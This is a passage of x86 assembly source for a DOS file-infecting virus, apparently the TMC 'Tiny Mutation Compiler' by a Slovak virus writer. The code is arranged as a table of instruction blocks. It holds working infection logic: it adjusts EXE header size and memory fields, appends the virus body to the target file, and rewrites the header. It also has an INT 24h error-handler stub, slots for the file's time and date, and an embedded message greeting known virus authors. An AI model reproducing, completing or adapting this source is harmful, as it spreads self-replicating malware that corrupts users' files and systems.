mov ax,[si+04h] ; AX = total number of 512-byte pa...
db 01h ; One byte instruction
inc ax ; Increase total number of 512-byt...
db 02h ; Two bytes instruction
mov cl,05h ; Divide by thirty-two
db 02h ; Two bytes instruction
shl ax,cl ; AX = total number of 512-byte pa...
db 03h ; Three bytes instruction
sub ax,[si+08h] ; Subtract header size in paragrap...
db 03h ; Three bytes instruction
add ax,[si+0ah] ; Add maximum paragraphs to alloca...
db 02h ; Two bytes instruction
mov di,ax ; DI = minimum paragraphs to alloc...
db 01h ; One byte instruction
pop cx ; Load CX from stack (DX)
db 01h ; One byte instruction
pop dx ; Load DX from stack (AX)
db 03h ; Three bytes instruction
and dx,1111111111110000b
db 03h ; Three bytes instruction
add dx,10h ; DX = low-order word of offset fr...
db 03h ; Three bytes instruction
adc cx,00h ; CX = high-order word of offset f...
db 03h ; Three bytes instruction
mov ax,4200h ; Set current file position (SOF)
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 03h ; Three bytes instruction
add ax,1234h ; AX = length of virus
db 11101101b ; Data reference
dw 66h ; Pointer to virus_end
db 03h ; Three bytes instruction
adc dx,00h ; Convert to 32-bit
db 03h ; Three bytes instruction
mov cx,200h ; Divide by pages
db 02h ; Two bytes instruction
div cx ; DX:AX = filesize in pages
db 03h ; Three bytes instruction
mov [si+02h],dx ; Store number of bytes in last 51...
db 01h ; One byte instruction
inc ax ; Increase total number of 512-byt...
db 03h ; Three bytes instruction
mov [si+04h],ax ; Store total number of 512-byte p...
db 05h ; Five bytes instruction
mov [si+0ah],800h ; Store minimum paragraphs of memo...
db 01h ; One byte instruction
inc ax ; Store total number of 512-byte p...
db 02h ; Two bytes instruction
mov cl,05h ; Divide by thirty-two
db 02h ; Two bytes instruction
shl ax,cl ; AX = total number of 512-byte pa...
db 03h ; Three bytes instruction
sub ax,[si+08h] ; Subtract header size in paragrap...
db 03h ; Three bytes instruction
add ax,[si+0ah] ; Add maximum paragraphs to alloca...
db 03h ; Three bytes instruction
mov ds:[1234h],ax ; Store new size in paragraphs
db 11101101b ; Data reference
dw 1393h ; Pointer to new_mcb_siz
db 02h ; Two bytes instruction
sub di,ax ; DI = additional minimum paragrap...
db 01110110b+10000000b ; Below or equal? Jump to dont_add...
dw 1396h ; Pointer to dont_add_mem
db 03h ; Three bytes instruction
add [si+0ah],di ; Add additional minimum paragraph...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 1396h ; Pointer to dont_add_mem
db 11101111b ; End of block
dont_add_mem db 11101110b ; Beginning of block
dw 1396h ; Block identification of dont_add...
db 06h ; Six bytes instruction
mov word ptr ds:[01h],00h
db 02h ; Two bytes instruction
mov ah,40h ; Write to file
db 02h ; Two bytes instruction
xor dx,dx ; Zero DX
db 03h ; Three bytes instruction
mov cx,1234h ; CX = length of virus
db 11101101b ; Data reference
dw 66h ; Pointer to virus_end
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 02h ; Two bytes instruction
xor cx,cx ; CX = high-order word of offset f...
db 02h ; Two bytes instruction
xor dx,dx ; DX = low-order word of offset f...
db 03h ; Three bytes instruction
mov ax,4200h ; Set current file position (SOF)
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 02h ; Two bytes instruction
mov ah,40h ; Write to file
db 02h ; Two bytes instruction
mov dx,si ; DX = offset of exe_header
db 03h ; Three bytes instruction
mov cx,18h ; Write twenty-four bytes
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to close_file
dw 0fah ; Pointer to close_file
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 138eh ; Pointer to set_file_inf
db 11101111b ; End of block
int24_virus db 11101110b ; Beginning of block
dw 1770h ; Block identification of int24_virus
db 02h ; Two bytes instruction
mov al,03h ; Fail system call in progress
db 01h ; One byte instruction
iret ; Interrupt return
db 11101111b ; End of block
exe_header db 11101110b ; Beginning of block
dw 138fh ; Block identification of exe_header
db 18h+10h ; Twenty-four bytes data
db 18h dup(00h) ; EXE header
db 11101111b ; End of block
file_time db 11101110b ; Beginning of block
dw 12ch ; Block identification of file_time
db 02h+10h ; Two bytes data
dw 00h ; File time
db 11101111b ; End of block
file_date db 11101110b ; Beginning of block
dw 12dh ; Block identification of file_date
db 02h+10h ; Two bytes data
dw 00h ; File date
db 11101111b ; End of block
message db 11101110b ; Beginning of block
dw 2328h ; Block identification of message
db (message_end-messag_begin)+10h
messag_begin db 0dh,0ah
db 0dh,0ah
db 'þ TMC 1.0 by Ender from Slovakia þ',0dh,0ah
db 'Welcome to the Tiny Mutation Compiler!',0dh,0ah
db 'Dis is level 42.',0dh,0ah
db 'Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel',0dh,0ah
db 'Personal greetings: K. K., Dark Punisher',0dh,0ah
db 0dh,0ah
message_end:
db 11101111b ; End of block
db 00h ; End of table
code_end:
table_end:
end code_begin